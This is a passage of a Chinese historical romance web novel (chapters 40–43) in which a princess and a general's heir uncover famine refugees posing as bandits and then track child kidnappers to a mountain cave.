百里浔舟点点头,封眠心中一惊,正要追问,就见他扬扬下巴,点了点被捆在小树上的男孩,“这男孩算不算?突然出现在流匪出没的地方,一句话也不肯说。” 封眠:“你们都问不出话吗?” 她有些惊讶,之前看百里浔舟审犯人,挺有一套的呀,原来拿小孩子也没有办法? 百里浔舟:“……我还没问呢。是姚知远什么都没问出来。” 姚知远淡淡瞥他一眼:承认自己的失败就这么难? 第40章 不肯承认自己失败的百里浔舟,当着封眠的面再现了一次失败。 他往那儿一站,高大的身躯遮住开始西斜的日头,大片的阴影投下来,将小男孩整个笼罩住。身后的披风被风卷起,投下张牙舞爪的怪样子。 小男孩头也不敢抬,闭起眼睛,吓得发抖。 “好了,你别吓他了。我来试试。” 一道温柔的嗓音落入小男孩耳中,他悄悄眯起眼,从一点点的缝隙中瞧见一个漂亮的身影挤走了那道吓人的身影,然后在他面前蹲了下来,吓得他一下子又赶紧闭上了眼,却是没再发抖了。 “小朋友,你叫什么名字?” 男孩警觉地梗着脖子,警觉地不肯吭声,阿娘说了不能跟不认识的人说话! “我叫封眠,是大雍的郡主,我们不会伤害你的。” 男孩呆了呆,啊,知道了她的名字,就不算不认识的陌生人了吧?而且她说,不会伤害他的。 她的声音这么温柔,应该不是坏人吧。 男孩犹犹豫豫地睁开眼,飞快地看了一眼封眠,发现她一直笑盈盈地看着自己,笑得特别好看,更放心了一点点,她肯定不是坏人。 “阿央。”他低低地开口,水米未进的嗓子干干哑哑的,十分虚弱。 封眠抬手招了招,从流萤手中接过一碗水,先自己抿了一口,才递到阿央面前,“阿央,喝吧。” 阿央一怔,舔了舔干裂的唇,猛地探头咬住碗沿,咕嘟咕嘟将一碗水喝干了。 再看向封眠时,他眼底又少了两分警惕。 封眠这才注意到他的眼睛竟是绿色的,“你的眼睛……” 阿央浑身一颤,瑟缩着便要低下头,却听见后半句,“……真好看。” 他怔了怔,终于敢不闪不避地迎上了封眠的目光。 “你是北夷哪一族的人?”封眠轻声问,尽量不给他任何压力。 “我是大雍人。”阿央硬邦邦道,“我阿娘是大雍人,我也是。” 他才不是没人要的野种。 看来还是个很爱阿娘的好孩子。 封眠看了看他被绑在树上的双手,探寻地看了百里浔舟一眼,见百里浔舟点头,才道:“我帮你把绳子解开,你不要跑好吗?我们只是想问你一些事,不会伤害你的。问完你就可以离开了,好吗?” 阿央盯着她,似乎权衡了一下,才点了点头。 封眠正要去解绳子,百里浔舟先一步蹲了过去,“这是军中特有的绳结,我来吧。” 似是有意教封眠这么解一般,他解的有些慢。 待束缚的绳索被解去,阿央迅速团抱着手脚坐了起来,却是没跑,只是警觉地看着封眠,“问吧。” 百里浔舟:“你为什么会出现在山上?” 阿央理也不理,只盯着封眠,满脸都写着“我只跟她说话”,气得百里浔舟“啧”了一声,看了一眼封眠,还是忍住了没有对小孩子动手。 封眠忍笑,将流萤送来的点心摆到了阿央面前,“先吃些东西恢复点体力吧。” 这一盘点心比刚才那个故意耍他的男人手里的点心要新鲜漂亮多了,阿央咽了咽口水,抓起一个大咬一口,眼睛登时亮了,狼吞虎咽地将一整块点心吞吃入腹。 封眠怕他噎着,又递来一碗水,被他一口气喝光了。 阿央看着剩下的点心,没再伸手拿,小心翼翼地问:“我能把这些带回去吗,我阿娘他们好些天没吃东西了。” “当然可以。你别怕不够,尽管吃,我再给你拿一些,让你带走。” 看着阿央终于又拿起一块点心吃起来,封眠才问出心底的疑问,“你方才说,你阿娘他们好些天没吃东西了是什么意思?” “家里没吃的了,村长说要带我们去找吃的,阿娘就带着我跟出来了。”阿央肩头垂了下来,不大高兴,“三天前他们劫了个路过的富商,我们吃了点东西,然后就又没东西吃了。” 封眠和百里浔舟对视一眼,顿觉不妙。 拥雪关所谓的匪患,莫不就是这些吃不饱肚子的百姓吧?可近日并没有何地遭灾闹饥荒的消息传过来啊? 阿央误会了他们的反应,忙道:“村长他们没杀人,只抢了点吃的!你们别抓他们!” “你放心,不会的。”封眠继续循循善诱:“那你家在何处呀?怎么就没吃的了呢?” 阿央的肩膀更塌了,“在黑石沟。临近收成的后一个月里一直没再下雨,庄稼都没长成。县里头不让我们进,说我们是流民……” …… 封眠给阿央装了满满一个包袱的点心,并四大袋装满了干净水的水囊,让阿央将东西带回去,跟他们村长说清楚,让村长明日亲自过来谈。 派一个哨探送阿央离开后,百里浔舟一直压抑的情绪才爆发出来,一拳砸在了树上,咬牙怒道:“灾情如此严重,那白水县县丞竟敢瞒而不报!” 树枝颤颤抖落一片叶雨,封眠亦感心情沉重,“我记得从白水县到拥雪关,好似还有两三个城镇,竟没有一处肯收留他们,或者将灾情上报吗?” 姚知远道:“北疆的粮食一直不甚富足,恐怕这些城镇也没有余粮接济。况且沿路一带比邻北夷,常遭劫掠,有些北夷人也会乔装成大雍人骗取信任。” “有些人或许是胆小怕事,有些人或许误会是北夷作乱,才合力造成了如今的局面。” 剿着剿着匪,要剿的流匪忽然变成了无辜受灾的流民,再加上还没摸到那群拐子的踪迹,众人一时有些士气低迷。 时近日暮,晚霞肆意流淌,毫无遮挡地倾泻而下。 封眠见状,立即吩咐下去,“去将营帐搬出来,让大伙儿帮忙搭一下,其他人去生火做饭吧。” 鸾仪卫立即招呼上疾羽营的诸位一起忙活起来。 百里浔舟目瞪口呆:“你怎么还带了这么多东西?” “你本来只打算出来一日,想必什么东西没准备。我便都带上了,临时弄来的,若是有什么不习惯的地方,还要请大家多担待担待了。” “谁敢不习惯?”百里浔舟扬了扬眉,“若不是你来了,今日他们可是要幕天席地的。” 现下不但有营帐可睡,还能吃上一口热饭,他们怕是要感激涕零了。 当营帐一顶顶扎好,炊烟也迎着渐深的暮色飘了起来。 封眠特意从作坊里取了些即食汤饼来,走的自己的私库。 军需还没将即食汤饼纳进去,今日算是先给大家尝个鲜了。 即食汤饼下了锅,香味飘得满山都是。 疾羽营士卒们谁也不乱走动了,都围着咕嘟嘟煮着热汤面的锅,被热气扑了满面也不躲,不住地嗅着,狂咽口水。 有幸试吃过的王二和燕小七成了人群中最得意的人,绘 声绘色地给旁边的人讲这即食汤饼如何美味,导致当煮汤饼的时间到了,周围人一拥哄抢时,两人皆被挤出来摔了个屁股蹲。 有被馋得厉害的顾不上烫嘴先吃了一口,一边被烫得跳脚,一边嗷嗷嚷着好吃。 王二和燕小七也终于抢到了一碗,刚尝一口便眼前一亮,“用锅煮过的即食汤饼,比沸水冲泡的还要更有滋味!” 众人埋头吃得热火朝天,跟这即食汤饼比起来,他们往日吃的行军粮还能算是吃的吗? 有人喝了一口热汤,满足地打一个饱嗝,抱着热乎乎的汤碗看向变得漆黑的天幕。 往日行军中幕天席地时看了无数遍的景色,此刻好似突然变得温暖了起来。 王二和燕小七还在喋喋不休地念着,郡主的作坊听说运转得很好,郡主觉得他们过得太苦了,郡主说他们是守家卫国的将士,是英雄,所以她想让他们过得好些,她要把即食汤饼纳入军需,让他们以后都能吃上这么好吃的东西。 有那感□□哭的,掉了两滴眼泪进汤碗里,闷闷地说:“郡主来了可真好。” 没有人反驳他,大家心中都这般想,郡主来了,可真好。 以往军营是最苦的地方,但百姓们因他们能守家门而敬爱他们。只要家还在,命还在,他们也不怕吃苦。 可如今郡主却过来说,想让他们过得不这么苦。不但着手帮他们改善伙食,还帮他们的家人谋取了福祉。 家在云中郡的士卒们都收到了家人的信,郡主发的铭牌非常有用,往日他们总过得紧巴巴,一点好东西都舍不得买,可自打能去郡主的铺子里买东西,钱好像一下子禁得住花用了。 尤其是回春堂。 北疆的大夫本来就少,药钱贵,诊费也贵。别说买药了,他们病了都舍不得去看大夫。 可凭铭牌能去回春堂免费看诊,不知让他们免了多少病痛。 家不在云中郡的都恨不能立即将里人迁过来。 总之千言万语都可化成一句,郡主来了真好。 郡主本人正与百里浔舟坐在敞阔的马车里,马车门窗皆敞开着,将汤面浓重的散出去。 百里浔舟恰着点儿想要关上门窗,“你病都还没好全,别再受寒了。” 比起初见时的冷淡和微嘲,此刻的话语中尽是担忧关切。 封眠皱着鼻尖嗅了嗅,不大满意,“再透会儿气,吃饱了再闻着这个味道,我睡不着。” 百里浔舟有些无奈,现下山上都是汤饼的味儿,这要散到什么时候。 他想了想,单手扯开了颈下的披风系带,往封眠的方向微微一靠,用墨色披风将封眠裹了个严实。 他探着身,修长的手指将披风两侧像掖被角那样掖进封眠的肩背下,指节寸寸抚过她的肩头,才觉手下人实在瘦弱,肩背处骨骼分明,根本没长什么肉。 耳边传来闷闷的憋着咳嗽的声音,百里浔舟抬眼看去,才惊觉自己竟贴得这般近,两人之间只容得一拳的距离。 封眠喉间痒痒的,想咳嗽,却顾及着近在咫尺的百里浔舟,憋得脸都红了。 莹白如玉的脸颊上升起两道淡淡红晕,看得百里浔舟更是呆了一下。 心脏处砰砰,砰砰地…… 轰隆! 天边一声雷响险些惊得百里浔舟三魂去了七魄,手撑车窗才没丢脸地一头栽进封眠怀里。 40-50 第41章 一场突如其来的暴雨浇灭了火堆,众人纷纷躲进营帐里时,都再次心有余悸地感慨幸好郡主来了,否则他们可是要被淋成落汤鸡了还没处去躲。 只是柴火都浇透了,外头一点光亮也瞧不见,当真是陷入了伸手不见五指的黑暗中了。 马车内,百里浔舟方才已借着闪过的雷光飞快地将敞开的门窗尽数关上,密闭的车厢内亦是一片漆黑。 他后背绷紧,死死抵在车壁之上,被木质棱格硌得生疼,另一手牢牢抓住身下的坐榻,平复着略显急促的呼吸,尽量缓着语气问道:“灯烛呢?” 耳边传来窸窸窣窣的声音,封眠似乎在摸索着什么,他感觉到自己的肩头被一只手撞了一下。 “应是方才被潲进来的雨打灭了。”封眠摸出手帕,凭着刚才的印象,试探着送向百里浔舟的方向,摸索着想送到他手里,“你刚才也被打湿了吧?快擦一擦。” 百里浔舟向后仰了一下,抬手抓住差一点就要怼到自己脸上的手,“好好,我自己来,你坐好。” 封眠乖乖坐好不再动弹,百里浔舟拿着手帕擦了擦自己被打湿的头发衣领,鼻尖萦绕着手帕上十分浅淡的香气,加之感触到身旁人的呼吸声,一颗砰砰狂跳的心稍感安定不少。 但睁眼不能视物的黑暗还是让他难以忍受,看似不经意地开口问道:“火折子在哪儿?我来将灯点上。” “应是在雾柳身上。” 用膳时流萤和雾柳去了后面那辆马车,现下风雨大作,总不能因一个火折子便折腾人。 “没事,我不怕黑,再说也要到就寝的时候了,不点灯也无妨。” 封眠语调轻松,她颇有些新奇地倚在车壁上,听着外头雨势渐急,豆大的雨滴不断砸落的声音如珠玉落盘,狂风不间断地卷过树梢,又像极了有恶鬼在呜呜哭嚎。 在这样的天气睡在马车里,既不会被淋透,也能体验如同置身森野一般的感觉,别有一番意趣。 她正想与百里浔舟说这一新发现,忽然察觉他似乎好半晌都没说话了。 她悄悄往百里浔舟的方向侧了侧耳朵,自被马车隔绝在外的狂风暴雨声中,终于听到一丝努力压抑着的,略显急促的呼吸声。 他在害怕? 封眠呆了一呆,这念头在脑海中转了一圈,才转为“他怕黑”这三个大字。 原来他方才要火折子是因为怕黑呀。 见百里浔舟忍得这般辛苦,封眠也不好意思戳穿他。堂堂定北王世子若被人发现竟然怕黑,估计会惊掉不少人的下巴,令仇者快! 她努力回想了半晌,俯身向前探了探手,摸到了马车上的案几。 百里浔舟听见动静,心神打了个岔,问道:“怎么了?” 封眠:“没事,你等等……” 她在案几上摸索着,打开一个锦盒,自里头拿出一个巴掌大小的夜明珠来,莹莹微光略略照亮了眼前的一线天地。 封眠手撑着案几起身,一屁股坐到百里浔舟身侧,两人的胳膊挨挨挤挤地偎在一处,热乎乎的。 百里浔舟先是浑身僵了一瞬,再看封眠手中的夜明珠,并不刺眼的光照亮了她的轮廓,让他紧绷的肩背松懈下来,低而缓地轻轻吐出一口气,终于有心情说话了。 “你出行,还随时带着这么大一颗夜明珠?” “以备不时之需,这不就用上了吗。” 百里浔舟垂下眼,“方才不是说不怕黑?” 封眠哽了一下,心道问得这么清楚做什么? “方才是方才,我现在不困,便想照个亮,不行吗?”她干脆不讲理起来,故意逗弄道,“你若嫌太亮了,我收起来就是了。” 说着她便作势要将夜明珠放回去。 “别!”百里浔舟忙握住她的手腕,便发现她根本就坐着没打算动时,就知她是在故意逗弄自己,轻哼一声,松开她的手腕,重新靠回车壁。 “好吧,是我怕黑。”他干脆破罐破摔,未被夜明珠照到的耳尖已是一片通红,说罢又小声嘀咕着,“这有什么不能说的,本世子怕黑也照样能上阵杀敌,不丢脸。” 封眠闷笑一声,又很快忍住了,道:“是啊,怕黑而已嘛,我小时候也是很怕黑的。” “小时候怕?现在当真一点不怕了?”百里浔舟斜睨着她。 “不怕。”封眠顿了顿,在这间于风雨中庇护安稳的马车内,在不算静谧的黑夜中,忽然有一种想要倾诉的欲望,便继续道,“其实我小时候也遇到过拐子。” “嗯?”百里浔舟登时扭过脸去,惊讶地看着她,“你……你不是长在宫中?” 皇宫守卫森严,便是她出宫玩耍,应也是被侍从重重包围着,什么拐子这般胆大? “大概是四五岁的时候,父亲的死讯传入了宫中,我就一个人偷跑了出去。”封眠盯着手上的夜明珠,陷入回忆之中。 小孩子的思维很简单,她那时只知道“死了”便是不会再回来了,再也见不到了,就觉得如果父亲回不来的话,她便去找他! 她一个还不及大人小腿高的豆丁,愣是闷头跑出了盛京,几里路之后,就被拐子盯上了。 拐子把她掳走,又带着走了一段路,最后将她关入一个山洞中。 山洞里还有许多其他孩子,被垒出来的土壁分别关在不同的小隔间里。 小封眠极其怕黑,偏偏山洞里一丝光亮也无,像一张密不透风的网兜头将她罩住了。她忍不住哭了出来,隔壁关着的一个小男孩好像有些不耐烦地过来敲她身侧的土墙,让她别哭了。 小封眠一边抽噎着一边说自己忍不住,周围太黑了,她害怕。 “黑有什么好怕的?”男孩扬高声音道,“我娘说过,黑暗里其实藏着星星守护神,只是我们看不见而已。” “真的吗?”小封眠抬起泪眼,虽然眼前依旧是一片漆黑,却隐约没那么害怕了。 “当然了,它们会一直保护你的,你也要勇敢一点。” 土墙那头传来窸窸窣窣的挖土的声音,“你过来点儿。” 小封眠听话地循声挨过去,感觉有一只手抓住了自己的衣服。 “我牵着你,别怕。” 原来他方才找了个薄一些的土墙,从中间掏了个洞出来。 有了小伙伴依靠,小封眠也不怕了,她抬手牵住男孩的手,两只冰凉的手彼此温暖着。 “那之后我就不怕黑了。”封眠颇有些骄傲地扬起了下巴。 只是可惜那时候没有问过那个男孩的名字,时间过去了这么久,她也记不清更多细节,教会她不再害怕的小英雄在那之后就消失在了她的生命中。 百里浔舟不知为何心中不大高兴,自鼻腔之中发出一声轻哼,“你也太好骗了,这世上哪里有什么鬼神。” 还什么星星守护神,幼稚死了。 他就从来没信过这种说辞…… “啊!” 他突然惊叫一声,后脑一仰磕到了车壁上。 方才封眠把夜明珠捧到下巴处,猛地贴向他,幽幽微光自下映亮她的脸,再漂亮的五官也如鬼魅一般。 封眠哼哼两声,道:“既没有鬼神,那你怕什么?” 百里浔舟深呼吸一口气,并起两指抵住封眠的额头,将她推开些许。 “怕就是怕了,要什么理由。我从做婴儿时就在怕了,不行吗?” 话说开后,百里浔舟反倒十分坦然了。世人总要给自己的害怕找一个理由,他偏不。 封眠忍了忍笑,只能说道:“行,你做什么都行。” 两人之间一时安静了下来,只听得马车外雨打风吹的声音。 雨声与风声交织成一片混沌的喧嚣,嘈嘈切切的声响,听着竟莫名生出几分安心,让人的思绪都慢了下来,困意渐渐涌上来。 “你给我的香包是不是用来追踪的?” 百里浔舟冷不丁冷不丁这么一问,吓得封眠瞌睡都醒了,刚要靠向百里浔舟肩头的脑袋也僵硬地卡在原地,一动不敢动。 她一时想装睡,但这都是百里浔舟第二次问相关的话题了。第一次时她就借口要睡了逃了过去,这次他都问的这么直接了,她再不答话,怕是要不好。 封眠不大自在地动了两下,打算模棱两可地糊弄过去,“我只是担心你再遇到危险,才想知道你的行踪……” “你若介意,便将香包还给我便是。” 说是这么说,封眠根本不相信有人会把别人送的礼再当面还回去,那也太失礼了。 百里浔舟犹豫半晌,确实也没动作,只道:“罢了,夜深了,睡吧。” 封眠如蒙大赦,将夜明珠摆到案几上,翻出两件毛斗篷来,分了一件给百里浔舟,便安心地蒙头去睡了。 心下还觉得,他可真好糊弄。 借着夜明珠的微光,百里浔舟的目光落在封眠模糊的侧颜之上,心下叹一口气。 他觉得自己的猜测好像成真了,这可如何是好? 翌日天亮,空气中弥漫着雨水浸透泥土的潮湿气息,和松木被风雨摧折后溢出的清苦树脂香。 封眠正在马车内洗漱,便听见外头传来阵阵吵闹声,听着像是吵起来了,夹杂着几句封眠听不懂的乡土话。 她正准备下马车去瞧一眼,同样被争吵声引来的百里浔舟拦了拦她。 “雨后地面泥泞不堪,你别下来了,我去瞧瞧,等会儿来找你。” 百里浔舟自行去查看,封眠便只能揣着一肚子担忧困惑坐回去,由着雾柳和流萤继续替她梳妆。 半晌,帐帘被掀起,百里浔舟神色肃然地探首。 “阿央不见了。” 第42章 寻上山来的是阿央口中的村长和其他村民,阿央娘亲几乎哭晕了过去,被同村的妇人搀着,神色哀戚地靠在树上。 一开始的争吵源自几个五大三粗的壮汉,他们执拗地认为是百里浔舟一行人将阿央带走的,因此情绪十分激动,不分青红皂白便是一顿大骂。 百里浔舟头次被自己人气得不轻,他此番出行的最初目的是为了寻找拐子的踪迹,所以带的人都未穿戎装,瞧着像是普通的富家少爷和他的护卫们,昨日也并未向阿央坦明身份,因此现下一句话都还没来得及说,就这么被人兜头扣上一顶拐孩子的帽子。 幸而村长还有些脑子,认为百里浔舟他们一开始虽然抓了阿央,却又塞了那么多饮水吃食给他带回去,没必要再多此一举偷偷将人掳走。那几名壮汉才没有不管不顾地莽上来。 待百里浔舟亮出定北军的令牌,众人态度顿时三百六十度大转变,呼啦啦跪了一地,求他帮忙寻人。 “所以阿央昨日是平安回去了,今晨暴雨停了之后,他出来探路,便丢了?” 封眠拧着眉听百里浔舟说完,难掩担忧。 百里浔舟点头,“正是。” “他们为何笃定阿央是被掳走了,而不是迷路了?” 刚下过一场暴雨,山路正是难走的时候,这时候辨不清方向迷失在密林之中也是极有可能的事,封眠的疑问不无道理。 “村长说阿央脑子好,最会认路,所以昨日才由他出来探路。” 虽然运气不大好,一露头就被他抓了。 百里浔舟将村长和阿央娘亲的话一一转述,“他们这一路逃难而来,极端天气并不是没遇到过,阿央认路的本事从不会受天气影响,这也是为什么今晨阿央会出来探路。” 村长他们久等阿央不归,担心出事,这才出了藏身的洞穴,将四下能找的地方都找遍了,人影皆无。 就算是遇到了野兽,也一定会留下挣扎的痕迹,甚至是血迹,可是连这些痕迹也都没有,所以他们这才断定阿央定是被人掳走了。 封眠和百里浔舟对视一眼,想起百里浔舟最初追踪的目标,异口同声道:“拐子!” 看来百里浔舟此前的推断没错,这些人当真是来趁乱拐人的。 百里浔舟眸光一沉,下令道:“搜山。” 所谓匪患,只是一群走投无路的普通百姓,百里浔舟等人的重心,重又转回了那群胆大包天的拐子身上。 此处山势险峻,暴雨后又渐渐升起了浓雾,寻常人极易迷失方向,村长和其他村民便自告奋勇地加入搜山队伍之中,为疾羽营和鸾仪卫带路。 他们在这儿待了好多时日,比新到此地的众人要更为熟悉地形。 很快,众人混编成队,每十人一组,沿着山脊向四面八方散去。 混着枯枝碎石的泥水顺着陡坡蜿蜒而下,封眠纤白的手指紧紧扣住一截裸露的树根保持平衡,小心翼翼地在泥泞的山地间迈着步子。 百里浔舟不住地回头看她,见她绣着兰草纹的裙裾早已被泥浆浸透,精巧的小羊皮靴上也糊满了泥巴,喉结动了动,终于忍不住道:“你该留在原地的。” 封眠抬袖擦了擦鬓角的汗,蹭开粘在颊边的碎发,“这座山这么大,人手自然是越多越好,与其留一群人在原地保护我,不如带上我一起,还能多出一份力。” “况且,这种情况,让我如何心安理得地干等着?” “你不用管我,我定不会拖后腿的。”封眠抬起因方才的动作而蹭上一层灰的小脸,冲百里浔舟笑了一下,像只蹭了灰的可爱白毛。 百里浔舟垂在腿侧的指尖抑制不住地轻轻动了动,正想替她擦掉颊侧的灰,跟在封眠身后的流萤和雾柳一左一右地探出头来,拿着手帕替她擦汗,顺道擦净了脸颊。 嘴上还催促着:“世子快些往前走吧,这里是风口,流了汗再吹风,容易生病的。” 百里浔舟哑然,将蠢蠢欲动的手背到身后去,转身继续往前搜寻。 蒸腾起的乳白雾气令十步之外难辩人影,众人只能逐步紧跟前方的人,一寸寸摸寻而过,生怕错过某个隐蔽的洞口。 走了太久,封眠腿酸脚疼,已有些体力不支,但仍咬牙忍着,鬓边碎发被汗水打湿,黏在泛红的脸颊上,却已没心思再去管,一面与脚下一踩便陷进去的泥泞做对抗,一面将全部心神都用来注意周遭一丝一毫的变化来。 忽然她停住了脚步,走在前方的百里浔舟一直在用余光关注着她的状态,见状立即令众人停下脚步,退两步走到她身前,“怎么了?” 封眠按住百里浔舟的手腕,抬眸时眼里尽是忐忑心惊,“我好像踩到了什么东西……硬硬的……” 她不安地咽了咽唾液,未知比任何东西都要恐怖。 “别动。” 百里浔舟在她身前蹲下身,一手握住她定在原地的脚腕,另一手悬在一旁作势等待。 “三、二、一,抬脚!” 封眠配合着猛地抬起脚,身后流萤和雾柳扶住了她,没有让她因失去平衡而踉跄。 看清封眠脚下的东西,百里浔舟先是松了口气,再是蹙起了眉头。他将埋在泥泞中的东西拿起来给封眠看,“是枚桃篮。” 桃篮是用桃核做成的篮子形状的小饰品,一般戴在孩子的手腕或者脚腕处,有辟邪保平安的说法。 系在桃篮上的是条五彩绳。 “这是阿央的东西。” 封眠记起昨日她曾在阿央手腕上看见过。 寻常人一般都用红绳系桃篮,阿央腕上戴的却是五彩绳,编织得非常漂亮,封眠还着意多看了一记眼,因此立即认了出来。 这东西掉在此处,附近一定还有别的痕迹。 百里浔舟立即吩咐众人细细搜索附近的每一寸土地,连带着淤泥底下也不能放过,不可错过任何一处异常。 封眠跟着众人一并散去搜查,百里浔舟慢一步落在她身后,皱眉看向她的脚。 她迈步时微微迟疑地顿了一顿,左脚落地时比右脚轻些,像是怕踩实了似的。 百里浔舟快走两步跟到她身侧,状似不经意道,“若是累了便歇一歇,无妨的。” “我没事的。”封眠兀自逞强道,时间宝贵,现下大家都在努力搜寻,没人喊痛喊累,她自也不能那么娇气,只是有些脚痛,尚在可以忍耐的范围里,她不想因自己拖累了大家的进度。 “放心吧,我吃了预防的丸药,不会出现突然生病,还要累你们背我回去这种情况的。” 她当百里浔舟也是怕自己拖后腿,忙又补充了一句,她反手掩唇,凑近了些说道:“我常生病,知道自己的上限在何处,你且放心吧,我最会照顾自己了。” 百里浔舟想起她身子还未养好便追来这荒僻之地的举动,又瞧瞧她明显有些不对劲的腿脚,心下对她“最会照顾自己”这句话十分存疑。 她分明将他和其他人,都看得比她自己重要。 封眠正要继续迈步向前,忽然腰间一紧,脚下离地。 竟被百里浔舟单手扣住腰侧,轻巧地提起来,搁在了旁边一方平整的山石上。 “在这儿歇着。”几个字结结实实地砸在封眠耳边,带着不容质疑的决断,温热的指尖在她腰侧一触即离。 她坐在石头上,下意识攥紧了裙裾,“我还能走……” “多你一个不多,少你一个不少。”他垂眸看她,不容置疑,“你没经验,没体力,找到了阿央的桃篮已算是帮了很大的忙,安心歇着便是,剩下的交予我们。” “这是我们一起努力的事,你也应相信我们。” 封眠一怔,看着他转身将雾柳和流萤也喊了回来,“好生照顾郡主。” 晨雾漫过他的肩头,将那道挺拔的身影晕染得模糊又清晰。 “最少一刻钟。”他头也不回地朝雾中走去,清冽的声音传来,“不许提前下来。” 封眠被流萤和雾柳一左一右看住了,自然不能不听话。 在涉及封眠身体健康的事情上,她俩有志一同,与百里浔舟站在同一边。 “我还当世子殿下这般武夫都是粗莽的,没想到他竟这般心细,还知道关心郡主呢。”流萤虽然还有些怵百里浔舟,但看他与郡主相处甚好,对他倒也没最初那么怕了。 雾柳四下看了看,无奈道:“这里水汽泥泞太多了,东西也没带全,郡主只能暂且先忍一忍,待寻到人回去了,奴婢再给您瞧瞧脚上可有受伤。” “嗯。放心吧,我真的没什么事。”封眠翘首四望,焦急等着搜寻的结果。 “这里——” 雾中忽然传来一道声音,封眠当即跳下石头,连声嘶着气往声源方向跑。 一直走着路的时候真的还能忍得住,但歇了一会儿再踩在地上,脚上的酸痛感便骤然鲜明起来,仿佛有无数细小的针尖戳着。 但封眠一路不停,跌跌撞撞奔到了声源处,恰与百里浔舟撞到一处。 她心虚地回避着百里浔舟凝目盯来的视线,问方才说话的人,“发现了什么?” 说话那人是黑石沟的村民,他往地上一指,湿泞的泥地里混着一团绿,是被嚼烂的草药。 “有人在这里采摘过草药。这是金疮草,嚼碎了可以敷在伤口上。我们村里没人受伤,没采过金疮草。” 那便是在此处活动过的其他人所采了。 百里浔舟端详着,道:“这像是有人故意留下的标记。” “沿着这四周继续找,那个人一定留下了不止一处标记!” 第43章 山风将浓雾吹开一道缝隙,露出崖壁上一道被枯藤掩映的裂缝,几块巨石堆叠着堵在裂缝前,加强了枯藤带来的伪装。 自缝隙中隐隐约约能听见孩童的咳嗽声,和紧随而来的男子咒骂声,模糊不清地飘出来几尺便被风吹散了。 不远处的灌木丛后,凝神静听的百里浔舟缓缓压下身子离开。 “怎么样??”封眠见他回来,忙上前询问。 他们一路跟着那种草药汁液寻到了此处,发现了拐子的藏身之地,百里浔舟让他们等在原地,自己先去探了探情况。 “孩子们应该都被关在此处。”百里浔舟眸光沉沉,“听动静,拐子约莫有十余人。” “洞口用巨石堵着,强攻、烟熏都不可取,恐怕会伤害到人质。只能想个办法引诱他们主动开门。” 百里浔舟说罢,先从怀中取出一枚骨雕的短哨。那哨子不过寸余长短,通体莹白如新雪,尾端系着一条褪色的红绳。 他将哨子抵在唇间,胸腔微微起伏。 “啾——啾——啾——” “啾、啾!” 三声长鸣接两声短啼,清越的哨音破开山雾,宛如一只真正的山雀正立在枝头欢歌。 他将骨哨重新收回怀中,抬眼却见封眠正望着他,杏眸里盛着明晃晃的好奇。 “你 是在传信吗?” 百里浔舟颔首,“通知一下大家我们已找到了人,让他们过来汇合。若是待会行动出现什么意外,也能有人及时救援。” “那救人的法子你可想好了吗?” 百里浔舟略一沉吟,“最好是能有人为饵,诱他们出洞,里应外合破开洞门。若有机会,我能在他们开洞门时潜行进去,也可成事。” “好,那我来作饵。”封眠干脆道。 “郡主!”流萤和雾柳低声惊呼。 “不行!”百里浔舟下意识否决。 “让奴婢去吧,奴婢不怕。”流萤急得往前蹭了两步,雾柳跟着点头,“奴婢也不怕,郡主万万不可涉险!” “你们听我说。”封眠抬手向下一压,示意他们先听自己把话说完,“拐子掳人不就是图财?还有什么比一个貌美柔弱孤身独行的女子更有吸引力?” “在这儿的除了我们三个,都是男子,哪个拐子会为了个五大三粗的男人冒险?” 封眠抬手捂住流萤要发言的嘴,“至于你们两个,有把握不露出破绽吗?能保证不会被发现,不破坏计划吗?” 流萤和雾柳对视一眼,谁也说不出保证的话,讷讷难以作声。 “你就有把握自己能行,不会受伤?”百里浔舟心底仿佛一团火在乱窜,燥得不行,偏又发不出来,只能压低了嗓音问了一句话。 封眠却睁着双乌溜溜的眼巧瞧他,“这不是还有你在呢吗?” 百里浔舟呼吸一滞,心口那点火咻一下就被浇灭了,只无力地吐出两个字:“胡闹……” 但终究还是没能将人拦住。 时近午间,雾气终于散了一些,但还是蒙蒙地笼着山头。 陈大挨在堵住洞口的石块前,自缝隙处向外张望,愁眉耷眼,“你说这雾何时才能散尽?咱来这几日了,就开张了一次,还是个倔得要死的臭小子。我看趁雾散了,咱也撤吧,抓紧把手上的都脱手了得了。” “小点声抱怨吧你,再传到大哥耳朵里,又挨一顿呲儿。” 旁边的人小声提醒,陈大不情不愿地闭了嘴,忽然凝神侧耳,“哎,你听见什么声音没有?” “啥?” “好像是个女人,在呼救!” 细弱的求救声被风裹挟着卷入缝隙中,两人对视一眼,陈大嘿嘿一笑,“这儿风水不错啊,还有送上门的猎物呢!” 他说着便要搬开石块出去,被伙伴拉住,“你等等,先跟老大汇报一下” 山间窄道上,封眠钗环半褪,脸上抹了几道泥浆,翻山越岭的疲惫与痛苦完全不需要演,真实呈现,正有气无力地扯着嗓子喊:“有人吗?救命啊——” 她费劲地挪了两步,力竭一般跌坐在路边的石块上,无助地四处瞧着,并不看被藤蔓遮盖的拐子窝的方向,神色焦灼无措的模样,看起来完全就是一个误入深山的可怜少女。 “哎哟,姑娘!” 身后传来一道女声呼唤,封眠心头一跳,来了。 她面露惊喜之色转过头去,便见一名粗服荆钗的妇人提着篮子向她走来,神色和蔼关切。 “这位婶子……”封眠怯怯地唤了一声。 年约四十的妇人梳着整洁的发髻,双手粗糙,完全是一副辛劳农妇的模样,热心肠地与封眠搭话,“可怜见的,你咋一个人待在这儿呢?” 封眠不安地揪紧了衣摆:“雾太大了,我与家人走散了。婶子,你能带我下山吗?” “能,当然能。”妇人答应得快,话音转得也快,“只是你瞧,这雾还没散透,下山有风险。你若是不介意,不如跟我走。我们这些猎户在这山上都有落脚的地方,你过去歇歇,待雾散了,咱再走。” 她说着,不住打量封眠,嘴上絮絮念个不停:“可怜的丫头,咋给自己折腾成这样?累坏了吧?” 语气自然得完全像一个善良热心的农妇,封眠面上一点犹豫警惕之色也在她絮絮叨叨的关切声中散去了,点点头答应跟她走,然后在她的搀扶下站了起来。 “多谢婶子。” “客气啥,咱们出门在外,就得互帮互助才是。” 妇人搀起封眠回过身时,眼底贪婪的光不再遮掩地露了出来。 这姑娘细皮嫩肉的,脸蛋污成那样也能瞧出五官漂亮,当真是个嫩生的好花儿,定能赚笔大的。 封眠脚下生疼,毫不客气地将全身重量都压在妇人身上,慢腾腾地往前挪。 “婶子您贵姓?今日真是太感谢您了,待我回到家,定去寻您道谢。” 妇人被迫多担了一个人的重量上山,再有力气也龇牙咧嘴了一阵,喘着气道:“我夫家姓陈,你叫我一声陈嫂子就行了。” 